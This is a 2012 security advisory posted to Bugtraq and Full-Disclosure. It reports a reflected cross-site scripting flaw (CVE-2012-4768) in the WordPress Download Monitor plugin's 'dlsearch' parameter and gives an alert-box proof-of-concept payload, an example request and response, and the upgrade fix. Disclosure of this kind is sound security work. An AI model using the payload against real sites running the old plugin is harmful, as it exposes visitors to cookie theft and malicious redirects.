bugtraq - Wordpress Download Monitor - Download Page Cross-Site Scripting

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Date: Sun, 9 Sep 2012 10:26:10 +0100
From: "Joseph Sheridan" <joe@...ctionis.com>
To: "'full-disclosure'" <full-disclosure@...ts.grok.org.uk>,
  "'bugtraq'" <bugtraq@...urityfocus.com>, <secalert@...urityreason.com>,
  <bugs@...uritytracker.com>, "'vuln'" <vuln@...unia.com>,
  <vuln@...urity.nnov.ru>, <news@...uriteam.com>, <moderators@...db.org>,
  <submissions@...ketstormsecurity.org>, <submit@...ecurity.com>
Subject: Wordpress Download Monitor - Download Page Cross-Site Scripting 

/-----------------------------------------------------------------\
| Wordpress Download Monitor - Download Page Cross-Site Scripting |
\-----------------------------------------------------------------/

Summary
=======

Wordpress Download Monitor 3.3.5.7 is subject to a cross-site scripting vulnerability. The 'dlsearch' parameter is not sufficiently 

sanitised before being written to pages including the '[download_page]' shortcode. An attacker could distribute a malicious URL as part 

of a phishing campaign. Users following the link would trigger this vulnerability which could potentially steal session cookies, 

redirect the user to a malicious URL or download malware onto their machine.

CVE number: CVE-2012-4768
Impact: Medium
Vendor homepage: http://mikejolley.com/
Vendor notified: 30/08/2012
Vendor fixed: 30/08/2012
Credit: Chris Cooper and Joseph Sheridan of ReactionIS

This advisory is posted at:

http://www.reactionpenetrationtesting.co.uk/wordpress-download-monitor-xss.html

Affected Products
======== ========

Confirmed in Wordpress Download Monitor 3.3.5.7. Versions prior to 3.3.5.9 may also be affected.

Details
=======cv
The 'dlsearch' parameter, written to any page/post including the '[download_page]' shortcode, was found to be subject to a cross-site 

scripting vulnerability. It was possible to inject arbitrary Javascript code into the parameter which is passed into the page content 

without sanitisation. 

Injecting the following Javascript code will trigger the vulnerability, causing the page to return a Javascript alert box:

"><script>alert('xsstest')</script>

---
Example Request:
+---------------

GET /wp/?dlsearch="><script>alert('xsstest')</script> HTTP/1.1
Host: 192.168.0.6

---
Example Response:
+----------------

--- SNIP ---
<form id="download-page-search" action="" method="post">
<p><label for="dlsearch">Search Downloads:</label> <input type="text" name="dlsearch" id="dlsearch" value=""><script>alert('xsstest')

</script>" /><input class="search_submit" type="submit" value="Go" /><input type="hidden" name="page_id" value="2" 

/></p></form><h3>Results found for <em>""><script>alert('xsstest')</script>"</em> <small><a 

href="http://192.168.0.6/wp/">&laquo;&nbsp;Downloads</a></small></h3>
--- SNIP ---

Impact
======

An attacker might entice users to follow a malicious URL, causing Javascript code to execute in their browser, potentially stealing 

session cookies, redirecting the user to a malicious URL or downloading malware onto their machine.

Solution
========

Upgrade to Wordpress Download Monitor 3.3.5.9.

Distribution
============

In addition to posting on the website, a text version of this notice has been posted to the following e-mail and Usenet news recipients.

* bugtraq () securityfocus com
* full-disclosure () lists grok org uk

Future updates of this advisory, if any, will be placed on the ReactionIS corporate website, but may or may not be actively announced on 

mailing lists or newsgroups. Users concerned about this problem are encouraged to check the URL below for any updates:

http://www.reactionpenetrationtesting.co.uk/wordpress-download-monitor-xss.html

==============================================================================

Reaction Information Security 
Lombard House Business Centre,
Suite 117,
12-17 Upper Bridge Street,
Canterbury, Kent, CT1 2NF

Phone: +44 (0)1227 785050
Email: research () reactionis {dot} co {dot} uk
Web: http://www.reactionpenetrationtesting.co.uk

Joseph Sheridan
Director
CHECK Team Leader, CREST Infrastructure, CREST Application, CISSP
Tel: 07812052515
Web: www.reactionis.com
Email: joe@...ctionis.co.uk

Reaction Information Security Limited.
Registered in England No: 6929383
Registered Office: 1, The Mews, 69 New Dover Road, Canterbury, CT1 3DZ

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